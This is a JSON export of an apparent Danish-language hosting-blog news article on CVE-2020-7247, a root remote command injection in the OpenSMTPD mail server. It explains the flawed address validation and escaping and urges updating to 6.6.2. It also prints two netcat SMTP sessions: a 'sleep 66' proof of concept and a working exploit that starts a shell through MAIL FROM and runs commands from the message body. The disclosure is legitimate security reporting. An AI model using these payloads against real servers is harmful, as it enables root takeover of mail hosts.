{"id":55807,"date":"2020-01-29T00:00:00","date_gmt":"2020-01-28T21:00:00","guid":{"rendered":"https:\/\/prohoster.info\/blog\/blog_prohoster\/uyazvimost-v-opensmtpd-pozvolyayushhaya-udalyonno-vypolnit-kod-s-pravami-root"},"modified":"2020-02-18T14:03:57","modified_gmt":"2020-02-18T11:03:57","slug":"uyazvimost-v-opensmtpd-pozvolyayushhaya-udalyonno-vypolnit-kod-s-pravami-root","status":"publish","type":"post","link":"https:\/\/prohoster.info\/da\/blog\/news\/uyazvimost-v-opensmtpd-pozvolyayushhaya-udalyonno-vypolnit-kod-s-pravami-root","title":{"rendered":"En s\u00e5rbarhed i OpenSMTPD, der muligg\u00f8r fjernkodek\u00f8rsel med root-rettigheder","gt_translate_keys":[{"key":"rendered","format":"text"}]},"content":{"rendered":"

I det udviklede OpenBSD mailserverprojekt OpenSMTPD<\/a><\/noindex> opdaget en kritisk s\u00e5rbarhed<\/a><\/noindex> (CVE-2020-7247), som g\u00f8r det muligt at udf\u00f8re shell-kommandoer p\u00e5 serveren med root-brugerrettigheder. S\u00e5rbarheden blev identificeret under en genaudit udf\u00f8rt af Qualys Security (den tidligere audit af OpenSMTPD blev udf\u00f8rt<\/a><\/noindex> i 2015, og den nye s\u00e5rbarhed har v\u00e6ret til stede siden maj 2018). Problemet er blevet l\u00f8st<\/a><\/noindex> findes i OpenSMTPD version 6.6.2. Alle brugere anbefales straks at installere opdateringen (for OpenBSD kan rettelsen installeres via syspatch).<\/p>\n

Der er foresl\u00e5et to angrebsmetoder. Den f\u00f8rste metode fungerer i standardkonfigurationen af OpenSMTPD (modtagelse af anmodninger kun fra localhost) og tillader udnyttelse af problemet lokalt, n\u00e5r en angriber har mulighed for at tilg\u00e5 det lokale netv\u00e6rksinterface (loopback) p\u00e5 serveren (for eksempel p\u00e5 hosting-systemer). Den anden metode manifesterer sig, n\u00e5r OpenSMTPD er konfigureret til at modtage eksterne netv\u00e6rksanmodninger (en mailserver, der modtager ekstern mail). Forskerne har forberedt en prototype af et exploit, der fungerer b\u00e5de med OpenSMTPD-varianten fra OpenBSD 6.6 og med en portabel version til andre operativsystemer (testet i Debian Testing).<\/p>\n

Problemet skyldes en fejl i funktionen smtp_mailaddr(), der kaldes for at kontrollere gyldigheden af v\u00e6rdierne i felterne «MAIL FROM» og «RCPT TO», som definerer afsender\/modtager og sendes under forbindelsen til mailserveren. For at kontrollere delen af mailadressen, der kommer f\u00f8r «@» tegn, kaldes funktionen valid_localpart() i smtp_mailaddr()
\n, som anser de tilladte (MAILADDR_ALLOWED) tegn «!#$%&’*\\\/ ?^`{|}~+-=_», i overensstemmelse med kravene i RFC 5322. <\/p>\n

Her udf\u00f8res den direkte escape af strengen i funktionen mda_expand_token(), som kun erstatter tegnene «!#$%&’*? `{|}~» (MAILADDR_ESCAPE). Herefter bruges den forberedte streng fra mda_expand_token() ved kald til leveringsagenten (MDA) med kommandoen 'execle(«\\\/bin\\\/sh», «\\\/bin\\\/sh», «-c», mda_command,…’. Hvis brevet placeres i mbox gennem \\\/bin\\\/sh k\u00f8res strengen «\\\/usr\\\/libexec\\\/mail.local -f %%{mbox.from} %%{user.username}», hvor v\u00e6rdien «%{mbox.from}» inkluderer escape-data fra parameteren «MAIL FROM».<\/p>\n

Essensen af s\u00e5rbarheden er, at smtp_mailaddr() har en logisk fejl, som g\u00f8r, at n\u00e5r et tomt dom\u00e6ne sendes i e-mailen, returnerer funktionen en succesfuld kontrolkode, selvom delen af adressen f\u00f8r «@» indeholder ugyldige tegn. Herefter, n\u00e5r strengen forberedes af funktionen mda_expand_token(), escapes ikke alle mulige specielle shell-tegn, men kun specialtegnene der er tilladt i mailadressen. Dermed er det tilstr\u00e6kkeligt at bruge semikolon «;» og mellemrum i den lokale del af e-mailen, som ikke er en del af MAILADDR_ESCAPE og derfor ikke escapes. For eksempel:<\/p>\n

$ nc 127.0.0.1 25<\/p>\n

HELO professor.falken
\n MAIL FROM:<;sleep 66;>
\n RCPT TO:<root>
\n DATA
\n .
\n QUIT<\/p>\n

Efter denne session vil OpenSMTPD ved levering til mbox k\u00f8re kommandoen gennem shell <\/p>\n

\/usr\/libexec\/mail.local -f ;sleep 66; root<\/p>\n

Her begr\u00e6nses angrebsmulighederne af det faktum, at den lokale del af adressen ikke kan overstige 64 tegn, og specielle tegn ‘$’ og ‘|’ erstattes med «:» under escaping. For at omg\u00e5 denne begr\u00e6nsning udnyttes det faktum, at mailens krop sendes efter starten af \\\/usr\\\/libexec\\\/mail.local via standardindgangen, dvs. ved at manipulere adressen kan man kun starte kommandotolkeren sh og bruge mailens krop som en samling instruktioner. Da de tjenester, der specificeres i SMTP-headerne, angives i starten af brevet, foresl\u00e5s det at bruge kaldet til kommandoen read i en l\u00f8kke til at springe over dem. Det fungerende exploit ser omtrent s\u00e5dan ud:<\/p>\n

$ nc 192.168.56.143 25<\/p>\n

HELO professor.falken
\n MAIL FROM:<;for i in 0 1 2 3 4 5 6 7 8 9 a b c d;do read r;done;sh;exit 0;>
\n RCPT TO:<root@example.org>
\n DATA
\n #0
\n #1
\n \u2026
\n #d
\n for i in W O P R; do
\n echo -n «($i) » && id || break
\n done > \\\/root\\\/x.»`id -u`».»$$»
\n .
\n QUIT<\/p>\n

<\/a><\/noindex><\/p>\n

Kilde: opennet.ru<\/a><\/p>","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"excerpt":{"rendered":"

\u0412 \u0440\u0430\u0437\u0432\u0438\u0432\u0430\u0435\u043c\u043e\u043c \u043f\u0440\u043e\u0435\u043a\u0442\u043e\u043c OpenBSD \u043f\u043e\u0447\u0442\u043e\u0432\u043e\u043c \u0441\u0435\u0440\u0432\u0435\u0440\u0435 OpenSMTPD \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u0430 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c (CVE-2020-7247), \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0430\u044f \u0443\u0434\u0430\u043b\u0451\u043d\u043d\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c shell-\u043a\u043e\u043c\u0430\u043d\u0434\u044b \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0435 \u0441 \u043f\u0440\u0430\u0432\u0430\u043c\u0438 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f root. \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u0430 \u0432 \u0445\u043e\u0434\u0435 \u043f\u043e\u0432\u0442\u043e\u0440\u043d\u043e\u0433\u043e \u0430\u0443\u0434\u0438\u0442\u0430, \u043f\u0440\u043e\u0432\u0435\u0434\u0451\u043d\u043d\u043e\u0433\u043e \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0435\u0439 Qualys Security (\u043f\u0440\u043e\u0448\u043b\u044b\u0439 \u0430\u0443\u0434\u0438\u0442 OpenSMTPD \u043f\u0440\u043e\u0432\u043e\u0434\u0438\u043b\u0441\u044f \u0432 2015 \u0433\u043e\u0434\u0443, \u0430 \u043d\u043e\u0432\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043f\u0440\u0438\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u0435\u0442 \u0441 \u043c\u0430\u044f 2018 \u0433\u043e\u0434\u0430). \u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0430 \u0432 \u0432\u044b\u043f\u0443\u0441\u043a\u0435 OpenSMTPD 6.6.2. \u0412\u0441\u0435\u043c \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f […]<\/p>\n","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[702],"tags":[],"class_list":["post-55807","post","type-post","status-publish","format-standard","hentry","category-news"],"aioseo_notices":[],"aioseo_head":"\n\t\t\n\t\n\t\n\t\n\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\n","aioseo_head_json":{"title":"\ud83e\udd47S\u00e5rbarhed i OpenSMTPD, der tillader fjernudf\u00f8relse af kode med root-rettigheder | ProHoster","description":"I det udviklede projekt OpenBSD's mailserver OpenSMTPD er der opdaget","canonical_url":"https:\/\/prohoster.info\/da\/blog\/news\/uyazvimost-v-opensmtpd-pozvolyayushhaya-udalyonno-vypolnit-kod-s-pravami-root","robots":"max-image-preview:large","keywords":"","webmasterTools":{"miscellaneous":""},"schema":null,"og:locale":"da_DK","og:site_name":"ProHoster | \u041a\u0443\u043f\u0438\u0442\u044c \u043d\u0430\u0434\u0435\u0436\u043d\u044b\u0439 \u0445\u043e\u0441\u0442\u0438\u043d\u0433 \u0434\u043b\u044f \u0441\u0430\u0439\u0442\u043e\u0432 \u0441 \u0437\u0430\u0449\u0438\u0442\u043e\u0439 \u043e\u0442 DDoS, VPS VDS \u0441\u0435\u0440\u0432\u0435\u0440\u044b","og:type":"article","og:title":"\ud83e\udd47\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 OpenSMTPD, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0430\u044f \u0443\u0434\u0430\u043b\u0451\u043d\u043d\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043a\u043e\u0434 \u0441 \u043f\u0440\u0430\u0432\u0430\u043c\u0438 root | ProHoster","og:description":"\u0412 \u0440\u0430\u0437\u0432\u0438\u0432\u0430\u0435\u043c\u043e\u043c \u043f\u0440\u043e\u0435\u043a\u0442\u043e\u043c OpenBSD \u043f\u043e\u0447\u0442\u043e\u0432\u043e\u043c \u0441\u0435\u0440\u0432\u0435\u0440\u0435 OpenSMTPD \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u0430","og:url":"https:\/\/prohoster.info\/da\/blog\/news\/uyazvimost-v-opensmtpd-pozvolyayushhaya-udalyonno-vypolnit-kod-s-pravami-root","og:image":"https:\/\/prohoster.info\/wp-content\/uploads\/2021\/11\/logo-350.jpg","og:image:secure_url":"https:\/\/prohoster.info\/wp-content\/uploads\/2021\/11\/logo-350.jpg","og:image:width":350,"og:image:height":350,"article:published_time":"2020-01-28T21:00:00+00:00","article:modified_time":"2020-02-18T11:03:57+00:00","article:publisher":"https:\/\/www.facebook.com\/prohoster","article:author":"https:\/\/www.facebook.com\/prohoster"},"aioseo_meta_data":{"post_id":"55807","title":null,"description":null,"keywords":null,"keyphrases":null,"primary_term":null,"canonical_url":null,"og_title":null,"og_description":null,"og_object_type":"default","og_image_type":"default","og_image_url":null,"og_image_width":null,"og_image_height":null,"og_image_custom_url":null,"og_image_custom_fields":null,"og_video":null,"og_custom_url":null,"og_article_section":null,"og_article_tags":null,"twitter_use_og":false,"twitter_card":"default","twitter_image_type":"default","twitter_image_url":null,"twitter_image_custom_url":null,"twitter_image_custom_fields":null,"twitter_title":null,"twitter_description":null,"schema":{"blockGraphs":[],"customGraphs":[],"default":{"data":{"Article":[],"Course":[],"Dataset":[],"FAQPage":[],"Movie":[],"Person":[],"Product":[],"ProductReview":[],"Car":[],"Recipe":[],"Service":[],"SoftwareApplication":[],"WebPage":[]},"graphName":"","isEnabled":true},"graphs":[]},"schema_type":null,"schema_type_options":null,"pillar_content":false,"robots_default":true,"robots_noindex":false,"robots_noarchive":false,"robots_nosnippet":false,"robots_nofollow":false,"robots_noimageindex":false,"robots_noodp":false,"robots_notranslate":false,"robots_max_snippet":null,"robots_max_videopreview":null,"robots_max_imagepreview":"large","priority":null,"frequency":null,"local_seo":null,"seo_analyzer_scan_date":null,"breadcrumb_settings":null,"limit_modified_date":false,"reviewed_by":null,"ai":null,"created":"2021-02-28 19:36:30","updated":"2022-10-09 15:09:19","focus_keyword":null,"additional_keywords":null,"truseo_locale":null},"gt_translate_keys":[{"key":"link","format":"url"}],"_links":{"self":[{"href":"https:\/\/prohoster.info\/da\/wp-json\/wp\/v2\/posts\/55807","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/prohoster.info\/da\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/prohoster.info\/da\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/prohoster.info\/da\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/prohoster.info\/da\/wp-json\/wp\/v2\/comments?post=55807"}],"version-history":[{"count":0,"href":"https:\/\/prohoster.info\/da\/wp-json\/wp\/v2\/posts\/55807\/revisions"}],"wp:attachment":[{"href":"https:\/\/prohoster.info\/da\/wp-json\/wp\/v2\/media?parent=55807"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/prohoster.info\/da\/wp-json\/wp\/v2\/categories?post=55807"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/prohoster.info\/da\/wp-json\/wp\/v2\/tags?post=55807"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}